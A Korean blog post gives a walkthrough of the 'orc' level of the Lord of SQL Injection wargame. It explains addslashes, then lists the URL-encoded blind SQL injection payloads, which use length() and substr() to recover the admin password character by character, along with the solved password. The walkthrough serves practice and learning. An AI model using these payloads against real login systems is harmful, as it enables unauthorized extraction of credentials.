Web Hacking/LoS

[Lord of SQL Injection] orc

ruming 2021. 5. 9. 18:17

 

addslashes

이스케이프 시켜야하는 문자 앞에 백슬래시를 붙여주는 작업을 하는 함수다.

', ", \, NUL 을 처리한다.

zzaps.tistory.com/45

쿼터를 필터링하고 있음을 알 수 있다.

 

if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); 

이 부분을 보면 입력값과 DB의 pw가 일치해야 풀리는 것을 확인할 수 있다.

 

이 문제는 Blind SQL Injection 을 사용해야 한다.

Blind SQL Injection은 쿼리 결과에 따른 서버의 참과 거짓 반응을 통해 공격을 수행하는 방식이다.

 

length(pw)=pw길이

length함수를 사용하면 패스워드 길이를 알 수 있다. 1부터 값을 늘려가며 찾아보자.

 

pw='or id='admin' and length(pw)=8%23

8에서 Hello admin을 띄운 것으로 보아 비밀번호의 길이가 8인가보다.

 

 

이제 패스워드를 하나씩 알아내야 한다. 

substr 함수를 이용하면 된다.

 

노가다 시작...

pw=%27or%20id=%27admin%27%20and%20substr(pw,%201,%201)=%270

pw=%27or%20id=%27admin%27%20and%20substr(pw,%202,%201)=%279

pw=%27or%20id=%27admin%27%20and%20substr(pw,%203,%201)=%275

pw=%27or%20id=%27admin%27%20and%20substr(pw,%204,%201)=%27a

pw=%27or%20id=%27admin%27%20and%20substr(pw,%205,%201)=%279

pw=%27or%20id=%27admin%27%20and%20substr(pw,%206,%201)=%278

pw=%27or%20id=%27admin%27%20and%20substr(pw,%207,%201)=%275

pw=%27or%20id=%27admin%27%20and%20substr(pw,%208,%201)=%272

없는 9번째 번호를 찾고있었네...;

 

기계가 된 기분으로 여유롭게 찾았더니 그렇게 오래 안걸렸다. 비밀번호가 쉬워서 다행이지만 다음에는 자동화 프로그램을 이용하는 게 좋을 것 같다. 자동화가 괜히 있는 게 아닌데 참... 이래서 다들 기계를 쓰나보다. 큰 깨달음을 얻었다.

 

pw=095a9852

번거롭게 클리어~!

'Web Hacking > LoS' 카테고리의 다른 글

[Lord of the SQL] los darkelf  (0) 2021.05.23
[Lord of SQL Injection] wolfman  (0) 2021.05.18
[Lord of SQL Injection] goblin  (0) 2021.04.10
[Lord of SQL Injection] cobolt  (0) 2021.04.04
[Lord of SQL Injection] gremlin  (0) 2021.03.28